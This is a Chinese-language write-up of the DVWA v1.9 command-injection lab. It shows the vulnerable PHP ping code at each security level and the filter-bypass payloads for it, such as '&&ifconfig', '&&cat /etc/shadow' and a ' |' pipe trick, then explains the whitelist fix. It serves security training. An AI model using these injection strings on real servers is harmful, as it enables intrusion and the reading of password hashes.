DVWA V1.9:Command Injection(命令注入)

Command Injection 介绍

命令注入攻击的目的是在易受攻击的应用程序中注入和执行攻击者指定的命令。
在这种情况下,执行不需要的系统命令的应用程序就像伪系统外壳,攻击者可以使用它作为任何授权的系统用户。

然而,命令与Web服务具有相同的特权和环境执行。

命令注入攻击在大多数情况下是可能的,因为缺乏正确的输入数据验证,这可以由攻击者(表单、cookie、HTTP报头等)操纵。

操作系统(OS),如Linux和Windows,其语法和命令可能有所不同,这取决于它们所期望的操作。

这种攻击也可以称为“远程命令执行(RCE)”。
在这里插入图片描述

Low 级别

核心代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相关函数介绍

stristr(string,search,before_search)
stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。
参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。

php_uname(mode)
这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

官方提示

这允许直接输入其中之一。许多PHP函数这将在操作系统上执行命令。有可能从设计的命令中逃脱,并执行无意的动作。

这可以通过添加请求来完成,“一旦命令成功执行,运行这个命令”。

Spoiler: To add a command "&&". 
Example: 127.0.0.1 && dir.

漏洞利用

window和linux系统都可以用&&来执行多条命令

43.247.91.228&&ifconfig

在这里插入图片描述
Linux下甚至可以读取shadow文件,可见危害之大。

43.247.91.228&&cat /etc/shadow

Medium 级别

核心代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

官方提示

开发人员已经阅读了命令注入的一些问题,并放置在各种模式补丁中以过滤输入。然而,这还不够。

可以使用各种其他系统语法来中断所需的命令。

Spoiler: e.g. background the ping command.

漏洞利用

方法一:
因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

43.247.91.228&ifconfig

在这里插入图片描述
这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2

方法二:
由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过

43.247.91.228&;&ifconfig

在这里插入图片描述
这是因为”43.247.91.228&;&ifconfig”中的” ;”会被替换为空字符,这样一来就变成了”43.247.91.228&&ifconfig” ,会成功执行。

High 级别

核心代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

官方提示

在高层次,开发人员回到绘图板,并投入更多的模式匹配。但即使这样还不够。

开发人员或者用过滤器做了一个简单的键入,并且相信某个PHP命令会把他们从这个错误中拯救出来。

Spoiler: trim()			removes all leading & trailing spaces, right?.

漏洞利用

黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ” |”成了“漏网之鱼”。

43.247.91.228 |ifconfig

在这里插入图片描述

Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

Impossible 级别

核心代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

相关函数介绍

stripslashes(string)
stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit)
把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

官方提示

在不可能的水平上,挑战已经被重写,只允许一个非常严格的输入。
如果这不匹配并且不产生某个结果,它将不被允许执行。
而不是“黑名单”过滤(允许任何输入和删除不必要的),这使用“白名单”(只允许某些值)。

参考链接:
新手指南:DVWA-1.9全级别教程之Command Injection

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值